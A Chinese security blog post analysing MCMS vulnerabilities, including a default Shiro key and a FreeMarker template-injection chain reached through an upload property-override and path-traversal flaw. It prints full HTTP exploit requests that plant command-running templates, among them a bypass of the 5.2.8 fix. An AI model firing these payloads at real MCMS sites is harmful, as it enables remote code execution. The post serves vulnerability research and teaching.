又又又是一个属性覆盖带来的漏洞

admin 2024年10月29日00:30:15评论8 views字数 15692阅读52分18秒阅读模式

又又又是一个属性覆盖带来的漏洞

想到最近出了好几个与属性覆盖有关的漏洞,突然想到有一个国产系统也曾经出过这类问题,比较有趣这里简单分享一下,希望把一些东西串起来分享方便学到一些东西

前后端框架信息梳理

首先简单从官网可以看出所使用的框架信息以及技术选型

https://gitee.com/mingSoft/MCMS?_from=gitee_search

我们主要关注几个点一个是shiro,一个是freemarker,还有就是具体的一些未鉴权的功能点,同时支持两种部署方式jar/war

关于路由的说明,在启动类当中,指出了扫描的包名前缀为net.mingsoft

12345678
@SpringBootApplication(scanBasePackages = {"net.mingsoft"})@MapperScan(basePackages={"**.dao","com.baomidou.**.mapper"})@ServletComponentScan(basePackages = {"net.mingsoft"})public class MSApplication {public static void main(String[] args) {SpringApplication.run(MSApplication.class, args);}}

因此与路由相关函数只会出现在三个地方

  1. 源目录下
  2. ms-basic依赖包下
  3. ms-mdiy依赖包下

这个系统曾出现过很多漏洞,各类后台文件上传利用,注入、任意文件删除等等,但其实都比较鸡肋不适合学习

Shiro反序列化(版本<=5.2.8 )

在开始前先简单我们知道shiro的版本高低只是加密方式的改变,实际上反序列化漏洞依然存在,如果系统使用了默认的key那也是存在潜在风险的,而恰好在MCMS<=5.2.8版本下都使用了默认的key,使用这个key生成payload,直接打CB链即可又又又是一个属性覆盖带来的漏洞

接下来我们重点看另一个漏洞

前台模板SSTIRCE利用史

接下来我们看另一个漏洞,和模板相关的漏洞

因为这里的模板渲染使用了freemarker,我们便有两个思路:

  1. 版本是否在漏洞版本
  2. 写法是否安全

在MCMS中关于模板的渲染处理,是通过封装了一个工具类做的处理,在依赖包ms-mdiy中的net.mingsoft.mdiy.util.ParserUtil#rendering做处理

MCMS是在5.1版本开始使用freemarker做模板渲染,并且版本一直没有改变过,传家宝"2.3.31"

对于freemarker的模板,通常是通过api与new进行的利用,当然也有利用限制

对于内置函数api

api_builtin_enabledtrue时才可使用api函数,而该配置在2.3.22版本之后默认为false

对于内置函数new

从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:

1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)获取任何类。

2、SAFER_RESOLVER:不能加载freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。

3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。

可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析

尽管MCMS的漏洞版本比较高,但是他在5.8版本以下并未对内置函数new做严格限制,具体我们可以看看net.mingsoft.mdiy.util.ParserUtil#rendering

1234567891011
public static String rendering(Map root, String content) throws IOException, TemplateException {    Configuration cfg = new Configuration(Configuration.VERSION_2_3_0);    StringTemplateLoader stringLoader = new StringTemplateLoader();    stringLoader.putTemplate("template", content);    cfg.setNumberFormat("#");    cfg.setTemplateLoader(stringLoader);    Template template = cfg.getTemplate("template", "utf-8");    StringWriter writer = new StringWriter();    template.process(root, writer);    return writer.toString();}

虽然在freemarker版本在较安全的版本,但并未配置new-builtin-class-resolver,因此接下来我们只需要找到调用的点即可

在高版本后5.2.9,开发者终于意识到这个问题,设置了cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

回到正题,这里我们先从较低的版本说起,以5.2.5来做例子

V<=5.2.5

首先是一个能任意控制模板渲染的函数

这个路由非常好找,就在源码路径下为数不多不是CRUD功能的类中net.mingsoft.cms.action.web.MCmsAction#search

123456789101112131415161718192021222324252627
/**     * 实现前端页面的文章搜索     *     * @param request  搜索id     * @param response     */    @RequestMapping(value = "search",method = {RequestMethod.GET, RequestMethod.POST})    @ResponseBody    public String search(HttpServletRequest request, HttpServletResponse response) {        String search = BasicUtil.getString("tmpl", "search.htm");............        //解析后的内容        String content = "";        try {            //根据模板路径,参数生成            content = ParserUtil.rendering(search, params);        } catch (TemplateNotFoundException e) {            e.printStackTrace();        } catch (MalformedTemplateNameException e) {            e.printStackTrace();        } catch (ParseException e) {            e.printStackTrace();        } catch (IOException e) {            e.printStackTrace();        }        return content;    }

可以这里通过tmpl参数能实现渲染文件的完全控制,但是

ParserUtil.getPageSize(search, 20)当中我们会发现,其读取文件过程中使用了hutoolFileUtil.file,在这个第三方工具类使用了checkSlip防止目录穿越,因此非常可惜我们现在能渲染任意路径下的文件了

123456789101112131415161718
public static File checkSlip(File parentFile, File file) throws IllegalArgumentException {    if (null != parentFile && null != file) {        String parentCanonicalPath;        String canonicalPath;        try {            parentCanonicalPath = parentFile.getCanonicalPath();            canonicalPath = file.getCanonicalPath();        } catch (IOException var5) {            throw new IORuntimeException(var5);        }        if (!canonicalPath.startsWith(parentCanonicalPath)) {            throw new IllegalArgumentException("New file is outside of the parent dir: " + file.getName());        }    }    return file;}

那要想实现,那必须找到一个能够控制任意路径上传,或者能够配合目录穿越跳转的上传点,这个系统中正好就有,在net.mingsoft.basic.action.web.EditorAction#editor中,参数传入后交给了MsUeditorActionEnter类继续处理

12345678910111213141516171819202122232425262728293031323334353637
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) {    String rootPath = BasicUtil.getRealPath("");    File saveFloder = new File(this.uploadFloderPath);    if (saveFloder.isAbsolute()) {        rootPath = saveFloder.getPath();        jsonConfig = jsonConfig.replace("{ms.upload}", "");    } else {        jsonConfig = jsonConfig.replace("{ms.upload}", "/" + this.uploadFloderPath);    }    String json = (new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""))).exec();    if (saveFloder.isAbsolute()) {        Map data = (Map)JSON.parse(json);        data.put("url", this.uploadMapping.replace("/**", "") + data.get("url"));        return JSON.toJSONString(data);    } else {        return json;    }}public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) {    super(request, rootPath);    if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) {        this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI()));        ConfigManager config = this.getConfigManager();        setValue(config, "rootPath", rootPath);        JSONObject _jsonConfig = new JSONObject(jsonConfig);        JSONObject jsonObject = config.getAllConfig();        Iterator iterator = _jsonConfig.keys();        while(iterator.hasNext()) {            String key = (String)iterator.next();            jsonObject.put(key, _jsonConfig.get(key));        }    }}

在初始化过程中,先初始化了父类,这里可以看到,actionType受我们传入的参数控制,这个参数决定了方法的调用

1234567
public ActionEnter(HttpServletRequest request, String rootPath) {    this.request = request;    this.rootPath = rootPath;    this.actionType = request.getParameter("action");    this.contextPath = request.getContextPath();    this.configManager = ConfigManager.getInstance(this.rootPath, this.contextPath, request.getRequestURI());}

接下来回到MsUeditorActionEnter构造函数处理过程,紧接着调用了this.getConfigManager()初始化一些上传配置,而这个配置来源于文件static/plugins/ueditor/1.4.3.3/jsp/config.json,这个配置文件对上传做了限制,包括保存文件路径模板、大小、允许的后缀等,感兴趣的可以自己看看这个初始化过程,因为不太关键这里就不多叙述

在这里可以看到存在一个参数覆盖的问题(jsonConfig来源于web参数),可以由自定义的输入覆盖默认配置,具体覆盖什么配置待会儿会说

1234567891011121314151617
public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) {    super(request, rootPath);    if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) {        this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI()));        ConfigManager config = this.getConfigManager();        setValue(config, "rootPath", rootPath);        JSONObject _jsonConfig = new JSONObject(jsonConfig);        JSONObject jsonObject = config.getAllConfig();        Iterator iterator = _jsonConfig.keys();        while(iterator.hasNext()) {            String key = (String)iterator.next();            jsonObject.put(key, _jsonConfig.get(key));        }    }}

接下来初始化后调用exec方法,这里callback是否传入对我们不是很重要,继续看invoke方法

根据我们之前传入的actionType决定走入哪个分支

可以看到一共有8种类型,对应了不同的漏洞点,因为我们只关心RCE,所以这里就以上传为例,选择uploadfile

12345678
this.put("config", 0);this.put("uploadimage", 1);this.put("uploadscrawl", 2);this.put("uploadvideo", 3);this.put("uploadfile", 4);this.put("catchimage", 5);this.put("listfile", 6);this.put("listimage", 7);

在之后调用(new Uploader(this.request, conf)).doExec()做处理,这里的参数走向我们同样不在乎随便选择一个即可

1234567891011
public final State doExec() {    String filedName = (String)this.conf.get("fieldName");    State state = null;    if ("true".equals(this.conf.get("isBase64"))) {        state = Base64Uploader.save(this.request.getParameter(filedName), this.conf);    } else {        state = BinaryUploader.save(this.request, this.conf);    }    return state;}

省略其中的不关键的部分,这里我们只需要关注最终保存路径的生成即可

12345678910111213141516171819202122
...String savePath = (String)conf.get("savePath");String originFileName = fileStream.getName();String suffix = FileType.getSuffixByFilename(originFileName);originFileName = originFileName.substring(0, originFileName.length() - suffix.length());savePath = savePath + suffix;long maxSize = (Long)conf.get("maxSize");if (!validType(suffix, (String[])((String[])conf.get("allowFiles")))) {    return new BaseState(false, 8);} else {    savePath = PathFormat.parse(savePath, originFileName);    String physicalPath = (String)conf.get("rootPath") + savePath;    InputStream is = fileStream.openStream();    State storageState = StorageManager.saveFileByInputStream(is, physicalPath, maxSize);    is.close();    if (storageState.isSuccess()) {        storageState.putInfo("url", PathFormat.format(savePath));        storageState.putInfo("type", suffix);        storageState.putInfo("original", originFileName + suffix);    }}... 
  1. 从配置获取保存的路径
  2. 从Multipart解析文件后缀拼接
  3. 使用PathFormat.parse处理替换模板标签内容
  4. 与根路径拼接并写入文件

com.baidu.ueditor.PathFormat#parse的处理过程当中会对filename中字符做替换,导致/字符丢失因此不能从filename控制路径的穿越

1
filename = filename.replace("$", "\\$").replaceAll("[\\/:*?\"<>|]", "");

因此我们只能通过控制savePath实现完整的路径控制(还记得么,上面一开始提到过可以做参数覆盖),对于我们的uploadfile的action,对应的savepath属性为filePathFormat,因此构造,当然也可以覆盖其他属性参数这里不重复

12345678910111213141516
Ps:{{url()}是yakit的url编码的标签POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig={{url({filePathFormat:'/template/1/default/2'})}}&action=uploadfile  HTTP/1.1Host: 127.0.0.1:8079Accept: */*Accept-Encoding: gzip, deflateConnection: closeContent-Length: 362Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36X_Requested_With: UTF-8--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXAContent-Disposition: form-data; name="upload"; filename="1.txt"<#assign value="freemarker.template.utility.Execute"?new()>${value("open -na Calculator")}--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

V<=5.2.8

接下来我们看看开发是如何修复这个问题的,这里我的环境是5.2.8,这一次开发意识到了问题所在,做了两个步骤的修复

  1. rootPath由程序控制在必须为upload目录下
  2. 对每一个路径配置做了一次路径归一化
123456789101112131415161718192021
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) {    String uploadFloderPath = MSProperties.upload.path;    String rootPath = BasicUtil.getRealPath(uploadFloderPath);    jsonConfig = jsonConfig.replace("{ms.upload}", "/" + uploadFloderPath);    Map<String, Object> map = (Map)JSONObject.parse(jsonConfig);    String imagePathFormat = (String)map.get("imagePathFormat");    imagePathFormat = FileUtil.normalize(imagePathFormat);    String filePathFormat = (String)map.get("filePathFormat");    filePathFormat = FileUtil.normalize(filePathFormat);    String videoPathFormat = (String)map.get("videoPathFormat");    videoPathFormat = FileUtil.normalize(videoPathFormat);    map.put("imagePathFormat", imagePathFormat);    map.put("filePathFormat", filePathFormat);    map.put("videoPathFormat", videoPathFormat);    jsonConfig = JSONObject.toJSONString(map);    MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""));    String json = actionEnter.exec();    Map jsonMap = (Map)JSON.parseObject(json, Map.class);    jsonMap.put("url", "/".concat(uploadFloderPath).concat(jsonMap.get("url") + ""));    return JSONObject.toJSONString(jsonMap);}

那是不是就没办法了呢?请独立思考三分钟

之前提到了在PathFormat.parse当中,有对最终路径当中的模板做替换(当然这里和老版本的逻辑不一样,简化了很多,分析时以当前版本为准,有兴趣可以看看老版),可以看到会取{xxx}中的内容,之后调用getString做替换

1234567891011121314151617181920
public static String parse(String input, String filename) {    Pattern pattern = Pattern.compile("\\{([^\\}]+)\\}", 2);    Matcher matcher = pattern.matcher(input);    String matchStr = null;    currentDate = new Date();    StringBuffer sb = new StringBuffer();    while(matcher.find()) {        matchStr = matcher.group(1);        if (matchStr.indexOf("filename") != -1) {            filename = filename.replace("$", "\\$").replaceAll("[\\/:*?\"<>|]", "");            matcher.appendReplacement(sb, filename);        } else {            matcher.appendReplacement(sb, getString(matchStr));        }    }    matcher.appendTail(sb);    return sb.toString();}

可以看到如果字符不在当前的case当中会直接返回

12345678910111213141516171819202122
private static String getString(String pattern) {    pattern = pattern.toLowerCase();    if (pattern.indexOf("time") != -1) {        return getTimestamp();    } else if (pattern.indexOf("yyyy") != -1) {        return getFullYear();    } else if (pattern.indexOf("yy") != -1) {        return getYear();    } else if (pattern.indexOf("mm") != -1) {        return getMonth();    } else if (pattern.indexOf("dd") != -1) {        return getDay();    } else if (pattern.indexOf("hh") != -1) {        return getHour();    } else if (pattern.indexOf("ii") != -1) {        return getMinute();    } else if (pattern.indexOf("ss") != -1) {        return getSecond();    } else {        return pattern.indexOf("rand") != -1 ? getRandom(pattern) : pattern;    }}

有了这个思路我们便可以构造如下payload绕过校验

12345678910111213141516
Ps:{{url()}是yakit的url编码的标签POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig={filePathFormat:'/{.}./template/1/default/2'}&action=uploadfile  HTTP/1.1Host: 127.0.0.1:8080Accept: */*Accept-Encoding: gzip, deflateConnection: closeContent-Length: 362Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36X_Requested_With: UTF-8--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXAContent-Disposition: form-data; name="upload"; filename="1.txt"<#assign value="freemarker.template.utility.Execute"?new()>${value("open -na Calculator")}--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

V<=5.3.5(目前最新版)

首先来看最新版做了哪些变动

  1. 在最外层做了jsonConfig判断内容(似乎也没修复什么)
1234567891011121314151617181920212223242526272829303132
public String editor(HttpServletRequest request, HttpServletResponse response, String jsonConfig) {    String uploadFolderPath = MSProperties.upload.path;    boolean enableWeb = MSProperties.upload.enableWeb;    if (!enableWeb) {        HashMap<String, String> map = new HashMap();        map.put("state", "front end upload is not enabled");        return JSONUtil.toJsonStr(map);    } else {        String rootPath = BasicUtil.getRealPath(uploadFolderPath);        jsonConfig = jsonConfig.replace("{ms.upload}", "/" + uploadFolderPath);        Map<String, Object> map = (Map)JSONUtil.toBean(jsonConfig, Map.class);        String imagePathFormat = (String)map.get("imagePathFormat");        imagePathFormat = FileUtil.normalize(imagePathFormat);        String filePathFormat = (String)map.get("filePathFormat");        filePathFormat = FileUtil.normalize(filePathFormat);        String videoPathFormat = (String)map.get("videoPathFormat");        videoPathFormat = FileUtil.normalize(videoPathFormat);        map.put("imagePathFormat", imagePathFormat);        map.put("filePathFormat", filePathFormat);        map.put("videoPathFormat", videoPathFormat);        jsonConfig = JSONUtil.toJsonStr(map);        if (jsonConfig == null || !jsonConfig.contains("../") && !jsonConfig.contains("..\\")) {            MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath(""));            String json = actionEnter.exec();            Map jsonMap = (Map)JSONUtil.toBean(json, Map.class);            jsonMap.put("url", "/".concat(uploadFolderPath).concat(jsonMap.get("url") + ""));            return JSONUtil.toJsonStr(jsonMap);        } else {            throw new BusinessException(BundleUtil.getString("net.mingsoft.base.resources.resources", "err.error", new String[]{BundleUtil.getString("net.mingsoft.basic.resources.resources", "file.path", new String[0])}));        }    }}
  1. 禁止通过属性覆盖修改允许的后缀(我估计开发以为模板引擎必须要htm后缀才行了,忘记他自己写的函数是可以随意指定后缀了2333),以及文件读取相关属性
12345678910111213141516171819202122232425
public MsUeditorActionEnter(HttpServletRequest request, String rootPath, String jsonConfig, String configPath) {        super(request, rootPath);        if (jsonConfig != null && !jsonConfig.trim().equals("") && jsonConfig.length() >= 0) {            this.setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI()));            ConfigManager config = this.getConfigManager();            setValue(config, "rootPath", rootPath);            JSONObject _jsonConfig = new JSONObject(jsonConfig);            _jsonConfig.remove("fileManagerAllowFiles");            _jsonConfig.remove("imageManagerAllowFiles");            _jsonConfig.remove("catcherAllowFiles");            _jsonConfig.remove("imageAllowFiles");            _jsonConfig.remove("fileAllowFiles");            _jsonConfig.remove("videoAllowFiles");            _jsonConfig.remove("imageManagerListPath");            _jsonConfig.remove("fileManagerListPath");            JSONObject jsonObject = config.getAllConfig();            Iterator iterator = _jsonConfig.keys();            while(iterator.hasNext()) {                String key = (String)iterator.next();                jsonObject.put(key, _jsonConfig.get(key));            }        }    }
  1. 引擎解析测

设置禁止加载任意类

1
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER)

但这样并不能完全修复问题,可以参考辅助学习(https://www.cnblogs.com/escape-w/p/17326592.html),虽然这个项目不存在这些问题就是了

那么如何才能rce呢?提示一下,我们知道此时文件上传其实仍然能够跨目录写的,那么只能从白名单中受限的后缀入手,发挥你的想象,这里就不直接给出答案了

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:30:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   又又又是一个属性覆盖带来的漏洞http://cn-sec.com/archives/3314504.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息